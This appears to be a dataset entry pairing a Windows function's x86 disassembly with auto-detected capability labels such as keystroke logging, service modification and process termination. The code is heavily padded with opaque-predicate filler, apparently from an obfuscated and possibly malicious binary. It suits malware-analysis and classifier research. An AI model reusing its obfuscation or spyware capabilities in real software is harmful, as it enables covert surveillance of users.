Function at 0x1002938d
Capabilities:
Accept command line arguments
Check os version
Clear file content
Create pipe
Create thread
Create two anonymous pipes
Enumerate files on windows
Enumerate gui resources
Extract resource via kernel32 functions
Get common file path
Get disk size
Get file attributes
Get file size
Get file system object information
Get geographical location
Get memory capacity
Identify system language via api
Log keystrokes
Modify service
Query environment variable
Read .ini file
Set thread local storage value
Terminate process

Disassembly:
mov eax, 0x1007b1f6
call fcn.1007abb0
mov eax, 0x126c
call fcn.10077360
push ebx
push esi
xor ebx, ebx
mov byte [ebp - 0x89], dl
push edi
inc ebx
mov dword [ebp - 0x70], ecx
mov dword [ebp - 0x50], ebx
mov edi, 0x7d2703d9
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x4c], 0x9ecf4a41
mov dword [ebp - 0x58], 0xd6b3bfa3
push 0xfffffffffffffffd
pop eax
mov dword [ebp - 0x14], eax
xor eax, eax
mov dword [ebp - 0x1c], 0xf145ba13
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 2
jge 0x100293fa
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0x5a0], 0x86fd5d70
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 2
jl 0x100293e1
xor eax, eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], ebx
jge 0x1002941a
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0x14c], 0
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], ebx
jl 0x10029402
xor eax, eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], ebx
jge 0x10029436
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0x1e4], ebx
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], ebx
jl 0x10029422
xor eax, eax
mov esi, dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigW]
mov byte [ebp - 0x29], al
cmp byte [ebp - 0x29], 0
je 0x1002945e
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push 0x1c07
push 0x9ae
push 0x26f4
push eax
call esi
mov eax, dword [ebp - 0x59c]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x1e4]
inc dword [ebp - 0x1e4]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x14], 0xe58b
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x14c]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x14c]
push 3
pop ecx
cmp eax, dword [ebp - 0x4c]
jge 0x10029508
xor eax, eax
mov dword [ebp - 0x3c], 0x2c752785
mov dword [ebp - 0x4c], eax
jmp 0x100294c2
mov eax, dword [ebp - 0x4c]
mov dword [ebp + eax*4 - 0x744], 0x12535b5b
inc dword [ebp - 0x4c]
cmp dword [ebp - 0x4c], ecx
jl 0x100294b1
mov eax, dword [ebp - 0x73c]
mov ecx, dword [ebp - 0x50]
mov eax, dword [ebp - 0x73c]
dec ecx
neg ecx
sbb ecx, ecx
inc ecx
sub ecx, eax
je 0x100294ef
xor eax, eax
cmp dword [ebp - 0x73c], eax
je 0x100294ef
cmp dword [ebp - 0x14], eax
jne 0x100294f2
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x740]
mov dword [ebp - 0x59c], eax
xor eax, eax
jmp 0x100295c8
xor eax, eax
mov dword [ebp - 0x44], 0x5a6edb5b
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], eax
jl 0x100295c8
mov dword [ebp - 0x58], 0xfffffff9
xor ecx, ecx
mov dword [ebp - 0x14], 6
mov dword [ebp - 0x58], 0xc3d3
mov eax, dword [ebp - 0x58]
cmp eax, 0x9e48
setne cl
sub ecx, dword [ebp - 0x44]
neg ecx
sbb ecx, ecx
xor ebx, ebx
inc ecx
cmp ecx, 0x2197
mov ecx, dword [ebp - 0x59c]
mov eax, dword [ebp - 0x14]
setge bl
xor edx, edx
cmp eax, ecx
mov eax, dword [ebp - 0x1c]
setl dl
xor ecx, ecx
cmp edx, ebx
setg cl
xor edx, edx
imul eax, ecx
cmp eax, 0x453d
mov eax, dword [ebp - 0x1c]
setg dl
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x14c]
cmp eax, edx
mov eax, dword [ebp - 0x1c]
setg cl
mov dword [ebp + eax*4 - 0x14c], ecx
xor eax, eax
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], eax
jl 0x100295ba
cmp dword [ebp - 0x44], eax
jne 0x100295ba
mov byte [ebp - 0x29], al
cmp byte [ebp - 0x29], 0
je 0x100295b5
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
xor eax, eax
dec dword [ebp - 0x4c]
jns 0x1002959e
dec dword [ebp - 0x1c]
jns 0x1002951d
xor ebx, ebx
xor eax, eax
inc ebx
push 4
mov dword [ebp - 0x24], ebx
pop edx
mov dword [ebp - 0x14], edi
mov edi, dword [sym.imp.USER32.dll_GetDesktopWindow]
push 0xffffffffffffffff
mov dword [ebp - 0x50], 0x31713b91
mov dword [ebp - 0x50], eax
pop ecx
jmp 0x1002965b
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], edx
jge 0x10029602
mov eax, dword [ebp - 0x4c]
mov dword [ebp + eax*4 - 0x7b8], ecx
inc dword [ebp - 0x4c]
cmp dword [ebp - 0x4c], edx
jl 0x100295ee
xor eax, eax
mov dword [ebp - 0x7b0], eax
jmp 0x10029634
cmp byte [ebp - 0x29], 0
je 0x1002961c
push eax
call edi
push eax
call dword [sym.imp.USER32.dll_EndPaint]
xor eax, eax
mov byte [ebp - 0x29], al
cmp byte [ebp - 0x29], 0
je 0x1002962e
push eax
call dword [sym.imp.ole32.dll_CoTaskMemFree]
xor eax, eax
dec dword [ebp - 0x7b0]
cmp dword [ebp - 0x7b0], 0xfffffffc
mov byte [ebp - 0x29], al
je 0x1002960a
cmp byte [ebp - 0x29], 0
je 0x10029652
push eax
call edi
push eax
call dword [sym.imp.USER32.dll_SetWindowTextW]
xor eax, eax
dec dword [ebp - 0x50]
push 0xffffffffffffffff
pop ecx
push 4
pop edx
cmp dword [ebp - 0x50], 0xfffffff0
jg 0x100295e6
mov dword [ebp - 0x28], 0x9ecf4a41
mov dword [ebp - 0x38], 0xa122
push 3
pop ecx
mov dword [ebp - 0x7c8], ecx
mov dword [ebp - 0x7c4], ecx
mov dword [ebp - 0x7c0], ecx
mov dword [ebp - 0x7bc], ecx
mov dword [ebp - 0x58], ebx
mov dword [ebp - 0x58], 0xfffffffb
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], ecx
jge 0x100296b4
mov eax, dword [ebp - 0x4c]
mov dword [ebp + eax*4 - 0xdb0], 0x1d018875
inc dword [ebp - 0x4c]
cmp dword [ebp - 0x4c], ecx
jl 0x1002969c
xor eax, eax
cmp dword [ebp - 0x38], eax
jne 0x100296d9
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x7c4], ebx
xor eax, eax
cmp dword [ebp - 0x38], 0x6173
jle 0x100296d5
cmp dword [ebp - 0x7c4], eax
jne 0x100296d9
mov edx, eax
jmp 0x100296db
mov edx, ebx
mov eax, dword [ebp - 0x38]
xor ecx, ecx
cmp edx, eax
setl cl
mov dword [ebp - 0x58], ecx
mov eax, dword [ebp - 0x58]
sub eax, 0x2e97
neg eax
sbb eax, eax
add eax, 0x8e47
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x58]
mov dword [ebp - 0xdb0], eax
xor eax, eax
mov dword [ebp - 0x38], eax
jmp 0x10029721
mov byte [ebp - 0x29], al
cmp byte [ebp - 0x29], 0
je 0x1002971e
push eax
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
xor eax, eax
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], 2
jle 0x1002970c
mov dword [ebp - 0x54], 0xd6b3bfa3
push 0xfffffffffffffffa
pop ecx
mov dword [ebp - 0x30], ecx
or ecx, 0xffffffff
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0xfffffff1
jg 0x100298bc
mov dword [ebp - 0x58], 0x2ee6d058
mov dword [ebp - 0x40], 0x8b15e3
mov dword [ebp - 0x44], 0xe712c519
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x4c], eax
jmp 0x10029771
mov eax, dword [ebp - 0x4c]
mov dword [ebp + eax*4 - 0x36c], ebx
inc dword [ebp - 0x4c]
cmp dword [ebp - 0x4c], 2
jl 0x10029764
mov eax, dword [ebp - 0x30]
xor eax, eax
mov edx, eax
cmp dword [ebp - 0x30], eax
je 0x10029785
mov edx, ebx
mov eax, dword [ebp - 0x30]
xor ecx, ecx
cmp edx, eax
setge cl
xor edx, edx
test ecx, ecx
mov dword [ebp - 0x368], ecx
sete dl
xor ecx, ecx
add edx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x58]
cmp edx, eax
mov eax, dword [ebp - 0x58]
mov edx, ebx
setle cl
sub edx, eax
mov eax, dword [ebp - 0x30]
sub edx, ecx
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp eax, edx
mov eax, 0xb8b78acc
setg cl
cmp eax, ecx
sbb eax, eax
neg eax
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x30]
jne 0x100297fb
mov eax, dword [ebp - 0x368]
xor ecx, ecx
mov eax, dword [ebp - 0x368]
mov eax, dword [ebp - 0x30]
cmp eax, ebx
setle cl
xor eax, eax
mov dword [ebp - 0x44], ecx
cmp dword [ebp - 0x44], eax
je 0x10029802
cmp dword [ebp - 0x30], eax
je 0x10029802
jmp 0x100297fd
xor eax, eax
cmp dword [ebp - 0x14], eax
jne 0x10029807
cmp dword [ebp - 0x40], eax
je 0x10029809
mov eax, ebx
cmp eax, ebx
sbb eax, eax
neg eax
imul eax, dword [ebp - 0x30]
mov dword [ebp - 0x1c], eax
xor eax, eax
cmp dword [ebp - 0x1c], eax
je 0x10029849
mov dword [ebp - 0x40], 0x14
jmp 0x10029841
mov byte [ebp - 0x29], al
cmp byte [ebp - 0x29], 0
je 0x1002983e
push 0x1fa5
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
xor eax, eax
dec dword [ebp - 0x40]
cmp dword [ebp - 0x40], 0xffffffe6
je 0x10029826
jmp 0x100298ac
mov dword [ebp - 0x34], 0x8a3d3555
mov byte [ebp - 0x29], al
cmp byte [ebp - 0x29], al
je 0x1002985e
call dword [sym.imp.KERNEL32.dll_GetConsoleCP]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x368]
cmp dword [ebp - 0x30], eax
je 0x1002986f
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x30]
xor edx, edx
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
mov eax, dword [ebp - 0x14]
setl dl
xor ebx, ebx
cmp edx, 0x615a0349
setge bl
xor ecx, ecx
cmp ebx, eax
setle cl
xor ebx, ebx
mov dword [ebp - 0x34], ecx
mov eax, dword [ebp - 0x34]
sub eax, dword [ebp - 0x1c]
inc ebx
mov dword [ebp - 0x40], eax
dec dword [ebp - 0x30]
cmp dword [ebp - 0x30], 0xfffffff1
push 0
pop eax
jle 0x10029747
push 0xfffffffffffffffd
pop edx
mov dword [ebp - 0x34], edx
mov dword [ebp - 0x38], 0xf145ba13
mov dword [ebp - 0x14], 0xd1e1e87d
mov dword [ebp - 0x3c], 7
mov dword [ebp - 0x1c], 0xfffffff9
push 3
mov dword [ebp - 0x18], eax
pop ecx
cmp dword [ebp - 0x18], ecx
jge 0x100298fd
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xf48], ebx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x100298e9
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 2
jge 0x1002991b
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xc58], edx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x10029906
xor eax, eax
mov byte [ebp - 0x29], al
cmp byte [ebp - 0x29], 0
je 0x10029930
push eax
call edi
push eax
call dword [sym.imp.USER32.dll_SetWindowTextW]
xor eax, eax
mov dword [ebp - 0x14], 2
cmp dword [ebp - 0x14], eax
jl 0x10029a2b
push 0xfffffffffffffffa
pop ecx
mov dword [ebp - 0x45c], ecx
mov dword [ebp - 0x458], ecx
mov dword [ebp - 0x454], ecx
mov dword [ebp - 0x450], ecx
mov dword [ebp - 0x58], 0xfffffffe
push 4
mov dword [ebp - 0x4c], eax
pop ecx
cmp dword [ebp - 0x4c], ecx
jge 0x10029985
mov eax, dword [ebp - 0x4c]
mov dword [ebp + eax*4 - 0x101c], 0xfffffff9
inc dword [ebp - 0x4c]
cmp dword [ebp - 0x4c], ecx
jl 0x1002996d
xor eax, eax
mov dword [ebp - 0x450], eax
cmp dword [ebp - 0x450], 2
jg 0x100299f4
mov dword [ebp - 0x3c], 8
inc dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x450]
cmp dword [ebp + eax*4 - 0xf48], 0x924b5411
mov eax, dword [ebp - 0x58]
sbb ecx, ecx
inc ecx
imul eax, ecx
sub eax, dword [ebp - 0xc58]
je 0x100299d1
xor eax, eax
cmp dword [ebp - 0x3c], eax
je 0x100299d3
mov ecx, ebx
jmp 0x100299d5
xor eax, eax
mov ecx, eax
xor eax, eax
cmp ecx, 6
sete al
mov dword [ebp - 0x101c], eax
inc dword [ebp - 0x450]
cmp dword [ebp - 0x450], 2
jle 0x10029994
xor eax, eax
mov dword [ebp - 0x1c], eax
jmp 0x10029a1c
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], eax
jne 0x10029a22
mov byte [ebp - 0x29], al
cmp byte [ebp - 0x29], 0
je 0x10029a19
push eax
push 0x90f
push eax
call dword [sym.imp.GDI32.dll_GetRegionData]
xor eax, eax
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jle 0x100299f9
dec dword [ebp - 0x14]
jns 0x10029940
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 2
jge 0x10029a4d
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0x510], 0x86fd5d70
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 2
jl 0x10029a34
xor eax, eax
mov dword [ebp - 0x1c], 0xfffffffc
mov dword [ebp - 0x3c], 0xfffffff7
push 3
mov dword [ebp - 0x4c], eax
pop ecx
cmp dword [ebp - 0x4c], ecx
jge 0x10029a7a
mov eax, dword [ebp - 0x4c]
mov dword [ebp + eax*4 - 0xbdc], ebx
inc dword [ebp - 0x4c]
cmp dword [ebp - 0x4c], ecx
jl 0x10029a66
xor eax, eax
mov byte [ebp - 0x29], al
cmp byte [ebp - 0x29], 0
je 0x10029a8f
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoW]
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 2
jg 0x10029ab7
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp + eax*4 - 0xbdc]
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xbdc], ecx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jle 0x10029a98
xor eax, eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], ebx
jge 0x10029ad7
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0x16c], 0
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], ebx
jl 0x10029abf
xor eax, eax
mov dword [ebp - 0x50], ebx
mov dword [ebp - 0x14], 0x7d2703d9
mov dword [ebp - 0x4c], 0x9ecf4a41
mov dword [ebp - 0x58], 0xd6b3bfa3
mov dword [ebp - 0x14], 0xfffffffd
mov dword [ebp - 0x1c], 0xf145ba13
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 2
jge 0x10029b1f
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0x504], 0x86fd5d70
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 2
jl 0x10029b06
xor eax, eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], ebx
jge 0x10029b3f
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0x150], 0
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], ebx
jl 0x10029b27
xor eax, eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], ebx
jge 0x10029b5b
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0x1ec], ebx
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], ebx
jl 0x10029b47
xor eax, eax
mov byte [ebp - 0x29], al
cmp byte [ebp - 0x29], 0
je 0x10029b7d
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push 0x1c07
push 0x9ae
push 0x26f4
push eax
call esi
mov eax, dword [ebp - 0x500]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x1ec]
inc dword [ebp - 0x1ec]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x14], 0xe58b
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x150]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x150]
cmp eax, dword [ebp - 0x4c]
jge 0x10029c27
xor eax, eax
mov dword [ebp - 0x3c], 0x2c752785
push 3
mov dword [ebp - 0x4c], eax
pop edx
jmp 0x10029be1
mov eax, dword [ebp - 0x4c]
mov dword [ebp + eax*4 - 0x6e4], 0x12535b5b
inc dword [ebp - 0x4c]
cmp dword [ebp - 0x4c], edx
jl 0x10029bd0
mov eax, dword [ebp - 0x6dc]
mov ecx, dword [ebp - 0x50]
mov eax, dword [ebp - 0x6dc]
dec ecx
neg ecx
sbb ecx, ecx
inc ecx
sub ecx, eax
je 0x10029c0e
xor eax, eax
cmp dword [ebp - 0x6dc], eax
je 0x10029c0e
cmp dword [ebp - 0x14], eax
jne 0x10029c11
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x6e0]
mov dword [ebp - 0x500], eax
xor eax, eax
jmp 0x10029cea
xor eax, eax
mov dword [ebp - 0x44], 0x5a6edb5b
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], eax
jl 0x10029ce7
mov dword [ebp - 0x58], 0xfffffff9
xor ecx, ecx
mov dword [ebp - 0x14], 6
mov dword [ebp - 0x58], 0xc3d3
mov eax, dword [ebp - 0x58]
cmp eax, 0x9e48
setne cl
sub ecx, dword [ebp - 0x44]
neg ecx
sbb ecx, ecx
xor ebx, ebx
inc ecx
cmp ecx, 0x2197
mov ecx, dword [ebp - 0x500]
mov eax, dword [ebp - 0x14]
setge bl
xor edx, edx
cmp eax, ecx
mov eax, dword [ebp - 0x1c]
setl dl
xor ecx, ecx
cmp edx, ebx
setg cl
xor edx, edx
imul eax, ecx
cmp eax, 0x453d
mov eax, dword [ebp - 0x1c]
setg dl
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x150]
cmp eax, edx
mov eax, dword [ebp - 0x1c]
setg cl
mov dword [ebp + eax*4 - 0x150], ecx
xor eax, eax
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], eax
jl 0x10029cd9
cmp dword [ebp - 0x44], eax
jne 0x10029cd9
mov byte [ebp - 0x29], al
cmp byte [ebp - 0x29], 0
je 0x10029cd4
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
xor eax, eax
dec dword [ebp - 0x4c]
jns 0x10029cbd
dec dword [ebp - 0x1c]
jns 0x10029c3c
xor ebx, ebx
xor eax, eax
inc ebx
push 3
pop edx
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], ebx
jge 0x10029d06
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0x1e8], ebx
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], ebx
jl 0x10029cf2
xor eax, eax
mov esi, dword [sym.imp.KERNEL32.dll_CreateFileW]
or ecx, 0xffffffff
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x84], ecx
mov dword [ebp - 0x80], ecx
mov dword [ebp - 0x7c], ecx
mov dword [ebp - 0x78], ecx
mov dword [ebp - 0x1c], eax
jmp 0x10029da9
mov dword [ebp - 0x50], 0xfffffffd
mov dword [ebp - 0x50], 0xe
jmp 0x10029da0
mov dword [ebp - 0x4c], 0x3e63e315
mov dword [ebp - 0x4c], eax
jmp 0x10029d71
mov dword [ebp - 0x14], 0x79e672ca
mov dword [ebp - 0x14], edx
cmp dword [ebp - 0x14], eax
jl 0x10029d6e
mov byte [ebp - 0x29], al
cmp byte [ebp - 0x29], 0
je 0x10029d66
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
dec dword [ebp - 0x14]
jns 0x10029d54
push 3
pop edx
inc dword [ebp - 0x4c]
cmp dword [ebp - 0x4c], edx
jle 0x10029d45
mov byte [ebp - 0x29], al
cmp byte [ebp - 0x29], 0
je 0x10029d9d
push eax
push 0xfc3
push 0x21af
push eax
push 0x1cb7
push 0x20b4
push eax
call esi
push 3
xor eax, eax
pop edx
inc dword [ebp - 0x50]
cmp dword [ebp - 0x50], 0x14
jne 0x10029d39
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xf
je 0x10029d29
mov byte [ebp - 0x29], al
cmp byte [ebp - 0x29], 0
je 0x10029dd4
push 0xb2b
push eax
call edi
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_Polygon]
xor eax, eax
mov byte [ebp - 0x29], al
cmp byte [ebp - 0x29], 0
je 0x10029dfa
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push 0x1c07
push 0x9ae
push 0x26f4
push eax
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigW]
mov eax, dword [ebp - 0x50c]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1e8]
inc dword [ebp - 0x1e8]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x14], 0xe58b
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x16c]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x16c]
cmp eax, dword [ebp - 0x28]
jge 0x10029ea4
xor eax, eax
mov dword [ebp - 0x3c], 0x2c752785
push 3
mov dword [ebp - 0x4c], eax
pop ecx
jmp 0x10029e5e
mov eax, dword [ebp - 0x4c]
mov dword [ebp + eax*4 - 0x6b4], 0x12535b5b
inc dword [ebp - 0x4c]
cmp dword [ebp - 0x4c], ecx
jl 0x10029e4d
mov eax, dword [ebp - 0x6ac]
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x6ac]
dec ecx
neg ecx
sbb ecx, ecx
inc ecx
sub ecx, eax
je 0x10029e8b
xor eax, eax
cmp dword [ebp - 0x6ac], eax
je 0x10029e8b
cmp dword [ebp - 0x14], eax
jne 0x10029e8e
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x6b0]
mov dword [ebp - 0x50c], eax
xor eax, eax
jmp 0x10029f64
xor eax, eax
mov dword [ebp - 0x44], 0x5a6edb5b
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], eax
jl 0x10029f64
mov dword [ebp - 0x58], 0xfffffff9
xor ecx, ecx
mov dword [ebp - 0x34], 6
mov dword [ebp - 0x58], 0xc3d3
mov eax, dword [ebp - 0x58]
cmp eax, 0x9e48
setne cl
sub ecx, dword [ebp - 0x44]
neg ecx
sbb ecx, ecx
xor ebx, ebx
inc ecx
cmp ecx, 0x2197
mov ecx, dword [ebp - 0x50c]
mov eax, dword [ebp - 0x34]
setge bl
xor edx, edx
cmp eax, ecx
mov eax, dword [ebp - 0x38]
setl dl
xor ecx, ecx
cmp edx, ebx
setg cl
xor edx, edx
imul eax, ecx
cmp eax, 0x453d
mov eax, dword [ebp - 0x38]
setg dl
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x16c]
cmp eax, edx
mov eax, dword [ebp - 0x38]
setg cl
mov dword [ebp + eax*4 - 0x16c], ecx
xor eax, eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], eax
jl 0x10029f56
cmp dword [ebp - 0x44], eax
jne 0x10029f56
mov byte [ebp - 0x29], al
cmp byte [ebp - 0x29], 0
je 0x10029f51
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
xor eax, eax
dec dword [ebp - 0x28]
jns 0x10029f3a
dec dword [ebp - 0x38]
jns 0x10029eb9
xor ebx, ebx
xor eax, eax
inc ebx
mov dword [ebp - 0x5c], ebx
mov dword [ebp - 0x38], 0x7d2703d9
mov dword [ebp - 0x34], 0x9ecf4a41
mov dword [ebp - 0x48], 0xd6b3bfa3
mov dword [ebp - 0x24], 7
mov dword [ebp - 0x3c], 6
mov dword [ebp - 0x3c], 0xe6bae055
push 4
mov dword [ebp - 0x4c], eax
pop edx
cmp dword [ebp - 0x4c], edx
jge 0x10029fb1
or ecx, 0xffffffff
mov eax, dword [ebp - 0x4c]
mov dword [ebp + eax*4 - 0x404], ecx
inc dword [ebp - 0x4c]
cmp dword [ebp - 0x4c], edx
jl 0x10029f9f
mov eax, dword [ebp - 0x404]
xor edx, edx
cmp eax, 0x8932
mov eax, dword [ebp - 0x404]
setl dl
xor ecx, ecx
cmp eax, edx
setge cl
xor eax, eax
cmp ecx, ebx
setl al
or ecx, 0xffffffff
cmp eax, ecx
je 0x10029fe7
xor eax, eax
cmp dword [ebp - 0x24], eax
je 0x10029fe9
mov eax, ebx
jmp 0x10029fe9
xor eax, eax
cmp eax, dword [ebp - 0x404]
jne 0x10029ff7
mov eax, dword [ebp - 0x404]
mov eax, dword [ebp - 0x404]
mov eax, dword [ebp - 0x24]
xor eax, eax
mov dword [ebp - 0x24], ebx
push 3
mov dword [ebp - 0x24], eax
pop edx
cmp dword [ebp - 0x24], edx
jg 0x1002a07b
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x3c], ebx
mov eax, dword [ebp - 0x24]
cmp dword [ebp + eax*4 - 0x404], ebx
jne 0x1002a063
mov eax, dword [ebp - 0x24]
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x404]
test eax, eax
setne cl
mov dword [ebp - 0x58], ecx
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp + eax*4 - 0x404]
imul eax, dword [ebp - 0x58], 9
cmp eax, ecx
jl 0x1002a051
xor eax, eax
mov ecx, eax
cmp dword [ebp - 0x3c], eax
je 0x1002a053
mov ecx, ebx
mov eax, dword [ebp - 0x3f8]
sub ecx, eax
jne 0x1002a063
xor eax, eax
mov ecx, eax
jmp 0x1002a065
mov ecx, ebx
mov eax, dword [ebp - 0x24]
sub ecx, eax
mov dword [ebp - 0x3c], ecx
inc dword [ebp - 0x24]
push 0
pop eax
cmp dword [ebp - 0x24], edx
jle 0x1002a010
or ecx, 0xffffffff
mov dword [ebp - 0x54], 0xfffffffd
mov dword [ebp - 0x28], 0xf145ba13
mov dword [ebp - 0x30], 0x9dada439
mov dword [ebp - 0x50], 0x7440271d
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], ebx
jge 0x1002a0b7
mov eax, dword [ebp - 0x4c]
mov dword [ebp + eax*4 - 0xca4], 0xd6d2
inc dword [ebp - 0x4c]
cmp dword [ebp - 0x4c], ebx
jl 0x1002a09f
xor eax, eax
mov dword [ebp - 0x30], ecx
cmp dword [ebp - 0x30], eax
je 0x1002a1ac
push 0xfffffffffffffff9
pop edx
mov dword [ebp - 0x24], edx
mov dword [ebp - 0x4c], eax
jmp 0x1002a0df
mov eax, dword [ebp - 0x4c]
mov dword [ebp + eax*4 - 0x158], 0x65fbc01d
inc dword [ebp - 0x4c]
cmp dword [ebp - 0x4c], ebx
jl 0x1002a0ce
mov eax, dword [ebp - 0x24]
xor ecx, ecx
mov eax, dword [ebp - 0x24]
cmp eax, 0xffffaed5
setne cl
mov dword [ebp - 0x50], ecx
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x30]
dec eax
neg eax
sbb eax, eax
xor ecx, ecx
inc eax
cmp eax, 0x58ed
setne cl
xor eax, eax
imul ecx, dword [ebp - 0x30]
cmp ecx, edx
setl al
xor ecx, ecx
cmp eax, 0xf4a1
mov eax, dword [ebp - 0x24]
setg cl
xor edx, edx
cmp ecx, eax
setge dl
sub edx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x24]
sub edx, 0xffff
neg edx
sbb edx, edx
neg edx
imul eax, edx
test eax, eax
jne 0x1002a14e
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
or ecx, 0xffffffff
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x24]
imul eax, dword [ebp - 0x30]
cmp eax, ecx
je 0x1002a169
xor eax, eax
cmp dword [ebp - 0x50], eax
je 0x1002a16b
mov eax, ebx
